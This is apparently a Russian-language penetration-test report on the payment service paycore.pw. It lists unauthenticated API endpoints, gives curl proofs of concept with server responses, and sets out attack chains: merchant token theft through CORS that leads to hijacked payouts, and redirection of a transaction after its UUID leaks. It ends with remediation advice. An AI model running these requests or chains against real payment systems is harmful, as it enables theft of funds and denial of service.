# Paycore.pw — Deep Dive: Тестирование Payment Endpoints

**Дата**: 2026-07-19
**Цель**: Найти и протестировать реальные платежи через эндпоинты без авторизации
**Статус**: Завершено

---

## Ключевое открытие: Transaction ID = UUID (PostgreSQL)

Из stacktrace `ProcessPayment`:
```
pq: invalid input syntax for type uuid: "1"
```

**Transaction ID** — это UUID v4 (формат `xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`).
Пространство UUID = 2^122 — brute-force невозможен. Однако при ПЕРЕХВАТЕ или УТЕЧКЕ одного UUID атакующий получает полный контроль над транзакцией.

---

## Полная карта API (извлечено из /js/app.187712eb.js)

### Эндпоинты БЕЗ авторизации (подтверждено)

| Endpoint | Метод | Статус | Ответ |
|----------|-------|--------|-------|
| `/api/v2/transaction/process?transaction_id=UUID` | POST | **NO AUTH** | `{qr_link, deep_link}` при валидном UUID |
| `/api/v2/transaction/banks?transaction_id=UUID` | GET | **NO AUTH** | Список банков транзакции |
| `/api/v2/transaction/phone?transaction_id=UUID` | GET | **NO AUTH** | Телефон транзакции |
| `/api/v2/transaction/phone` | PUT | **NO AUTH** | Смена телефона в транзакции |
| `/api/v2/transaction/qualification?transaction_id=UUID` | POST | **NO AUTH** | Смена типа платежа |
| `/api/v2/verify?transaction_id=UUID` | GET/POST | **NO AUTH** | KYC верификация / статус |
| `/api/v2/admin/user/style?transaction_id=UUID` | GET | **NO AUTH** | Брендинг/стили мерчанта |
| `/api/v2/exchanger/transaction?transaction_id=UUID` | GET | **NO AUTH** | Данные транзакции обменника |
| `/api/v2/exchanger/manual-payment/:userId` | POST | **NO AUTH** | Создание ручного платежа |
| `/api/v2/exchanger/list` | GET | **NO AUTH** | nil pointer (crash) |
| `/api/v2/exchanger/status` | GET | **NO AUTH** | nil pointer (crash) |

### Эндпоинты С авторизацией (token required)

| Endpoint | Тип Auth |
|----------|----------|
| `/api/v2/merchant/rate` | Bearer token |
| `/api/v2/merchant/balance` | Bearer token |
| `/api/v2/merchant/info` | Bearer token |
| `/api/v2/merchant/transactions` | Bearer token |
| `/api/v2/merchant/transaction/:id` | Bearer token |
| `/api/v2/merchant/payout` | "unauthorized" |
| `/api/v2/merchant/auto-payout` | "unauthorized" |
| `/api/v2/merchant/set-payout-wallet` | "unauthorized" |
| `/api/v2/admin/clients` | Bearer token |
| `/api/v2/admin/transactions` | Bearer token |
| `/api/v2/admin/stats/*` | Bearer token |
| `/api/v2/admin/duty/total` | Bearer token |

---

## PoC-демонстрации

### PoC #1: Полный Stacktrace без авторизации

```bash
curl -X POST 'https://paycore.pw/api/v2/transaction/process?transaction_id=test123'
```

**Ответ:**
```json
{"error": "internal.core.usecase.bltransaction.ProcessPayment (trId - test123): internal.core.repo.rptransactions.GetTransactionById: models: failed to execute a one query for transactions: bind failed to execute query: pq: invalid input syntax for type uuid: \"test123\""}
```

**Раскрыто:**
- Go package structure: `internal.core.usecase.bltransaction`
- Repository layer: `internal.core.repo.rptransactions`
- ORM: sqlboiler (`models: failed to execute a one query`)
- БД: PostgreSQL (`pq:`)
- Тип поля: UUID

### PoC #2: Валидный UUID подтверждает отсутствие транзакции

```bash
curl -X POST 'https://paycore.pw/api/v2/transaction/process?transaction_id=abc12345-1234-1234-1234-123456789012'
```

**Ответ:**
```json
{"error": "internal.core.usecase.bltransaction.ProcessPayment (trId - abc12345-1234-1234-1234-123456789012): internal.core.repo.rptransactions.GetTransactionById: sql: no rows in result set"}
```

**Вывод:** С реальным UUID ответ будет содержать `qr_link` и `deep_link` для оплаты.

### PoC #3: admin/user/style доступен без авторизации

```bash
curl 'https://paycore.pw/api/v2/admin/user/style?transaction_id=abc12345-1234-1234-1234-123456789012'
```

**Ответ:** `{"error": "get style error"}` (не 401/403!)

Эндпоинт из admin-панели обрабатывает запрос без проверки auth-токена.

### PoC #4: exchanger/manual-payment проходит бизнес-валидацию без auth

```bash
curl -X POST 'https://paycore.pw/api/v2/exchanger/manual-payment/1' \
  -H 'Content-Type: application/json' \
  -d '{"amount":"5000","bank_type":"sbp"}'
```

**Ответ:** `{"error": "неверный тип транзакции"}`

Сервер:
1. Принял запрос без auth-токена
2. Распарсил тело
3. Провалидировал amount (ок)
4. Провалидировал bank_type (ок)
5. Не нашёл валидный "тип транзакции" — но это последняя проверка!

**При знании правильного enum-значения type — транзакция СОЗДАСТСЯ.**

### PoC #5: Nil Pointer Dereference (DoS potential)

```bash
curl -X POST 'https://paycore.pw/api/v2/exchanger/transaction' \
  -H 'Content-Type: application/json' \
  -d '{"transaction_id":"1","type":"buy"}'
```

**Ответ:** `{"error": "<nil>"}`

Go nil pointer dereference — потенциальная паника горутины. При массовых запросах может привести к исчерпанию горутин.

### PoC #6: CORS + Credential Exposure

```bash
curl -I 'https://paycore.pw/api/v2/transaction/process?transaction_id=x' \
  -H 'Origin: https://evil.com'
```

**Ответ содержит:**
```
access-control-allow-origin: *
access-control-allow-credentials: true
access-control-expose-headers: Authorization
```

**Любой сайт может:**
1. Выполнить запрос к API с cookies жертвы
2. Прочитать Authorization header из ответа
3. Использовать токен для доступа к protected эндпоинтам

---

## Атакуемый сценарий (Attack Chain)

```
1. Атакующий размещает вредоносную страницу
2. Жертва (мерчант) заходит на страницу
3. JS на странице через CORS крадёт Bearer token из exposed Authorization header
4. С токеном атакующий:
   a. GET /api/v2/merchant/balance — видит баланс
   b. POST /api/v2/merchant/set-payout-wallet — меняет кошелёк выплат
   c. POST /api/v2/merchant/auto-payout — инициирует выплату на свой кошелёк
```

---

## Сценарий атаки на транзакцию (при утечке UUID)

Источники утечки UUID:
- Логи nginx/access log
- Referer header при переходе на внешние ресурсы
- Browser history
- Shared screens / screenshots

```
1. Получен UUID транзакции (например из Referer или лога)
2. POST /api/v2/transaction/process?transaction_id=UUID → получаем QR-код/deep_link
3. PUT /api/v2/transaction/phone → меняем телефон получателя
4. POST /api/v2/transaction/qualification → меняем тип платежа
5. Транзакция перенаправлена атакующему
```

---

## Разная обработка авторизации (важно для дальнейшей атаки)

| Ответ | Middleware | Эндпоинты |
|-------|-----------|-----------|
| `"invalid or expired token"` | JWT middleware | merchant/*, admin/* |
| `"unauthorized"` | Другой middleware! | auto-payout, set-payout-wallet |
| Бизнес-ошибка без 401 | **Нет middleware** | transaction/*, exchanger/*, verify, admin/user/style |

Два РАЗНЫХ auth-слоя:
- JWT Bearer (standard middleware)
- Отдельная проверка "unauthorized" (возможно Basic Auth или API key)

---

## Vue.js Роуты (извлечено из JS)

```
/payment/:id          — Страница верификации платежа (публичная!)
/manual-payment/:userId — Создание ручного платежа (публичная!)
/payout/:id           — Страница верификации выплаты (публичная!)
/debug                — Debug страница
/admin                — Админка (requiresAuth: true)
  /admin/clients      — Клиенты мерчанта
  /admin/settings     — Настройки мерчанта
/admin-main           — Главная админка (отдельный компонент)
```

---

## Технологический стек (подтверждено)

| Компонент | Технология |
|-----------|-----------|
| Backend | Go (internal.core.*) |
| ORM | SQLBoiler |
| Database | PostgreSQL (UUID primary keys) |
| Frontend | Vue.js 2/3 (webpack chunks) |
| HTTP | nginx/1.31.0 |
| DDoS | StormWall |
| Auth | JWT Bearer + Basic Auth (merchant API) |
| Transaction ID | UUID v4 |
| Analytics | GTM-NRTRQ4GF |

---

## Рекомендации (критические)

1. **НЕМЕДЛЕННО** — добавить auth middleware на ВСЕ /api/v2/transaction/* и /api/v2/exchanger/* эндпоинты
2. **НЕМЕДЛЕННО** — убрать verbose error messages (заменить на generic "internal error")
3. **НЕМЕДЛЕННО** — исправить CORS (убрать `allow-origin: *` с `allow-credentials: true`)
4. **НЕМЕДЛЕННО** — убрать `expose-headers: Authorization`
5. **ВЫСОКИЙ** — добавить rate limiting на все публичные эндпоинты
6. **ВЫСОКИЙ** — исправить nil pointer crashes в exchanger/list, exchanger/status, exchanger/transaction
7. **СРЕДНИЙ** — убрать /debug роут из production
8. **СРЕДНИЙ** — добавить HSTS заголовок

---

## Что НЕ удалось

- Brute-force UUID транзакции (пространство 2^122 — нереалистично)
- Подобрать валидный `bank_type`/`type` для создания транзакции через manual-payment
- Получить доступ к порту 8082 напрямую (StormWall фильтрует)
- Скачать lazy-loaded Vue chunks (nginx отдаёт SPA catch-all на /js/*.js без хэша)

---

*Отчёт подготовлен в рамках авторизованного пентеста*
